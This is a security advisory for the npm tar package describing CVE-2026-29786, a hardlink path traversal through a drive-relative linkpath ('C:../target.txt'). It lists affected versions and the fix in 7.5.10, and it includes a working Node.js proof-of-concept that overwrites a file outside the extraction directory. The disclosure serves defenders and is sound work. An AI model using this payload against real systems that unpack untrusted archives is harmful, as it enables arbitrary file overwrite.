Packages / tar / Security

HighVulnerabilityGHSA-qffp-2rhf-9h96CVE-2026-29786Published 5 Mar 2026

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Your version

Affected releases · tar

  • 7.x7.0.0 – 7.5.9Fixed in 7.5.10
  • 6.x and older0.0.1 – 6.2.1No fix, no longer updated

On 7.x, the newest line:

npm install tar@7.5.10
Every release on a timeline
7.x
  1. Affected

    7.0.0 – 7.5.9

    20 releases

  2. Fixed

    7.5.10 – 7.5.22

    13 releases, latest

6.x
  1. Affected

    6.0.0 – 6.2.1

    24 releases

5.x
  1. Affected

    5.0.0 – 5.0.11

    12 releases

4.x
  1. Affected

    4.0.0 – 4.4.19

    31 releases

3.x
  1. Affected

    3.0.0 – 3.2.3

    22 releases

2.x
  1. Affected

    2.0.0 – 2.2.2

    7 releases

1.x
  1. Affected

    1.0.0 – 1.0.3

    4 releases

0.x
  1. Affected

    0.0.1 – 0.1.20

    21 releases

154 stable releases of tar, oldest to newest, one row per major.

What happens

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.

  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.

  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.

  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory

  • build/update pipelines consuming third-party archives

  • services that import user-supplied tar files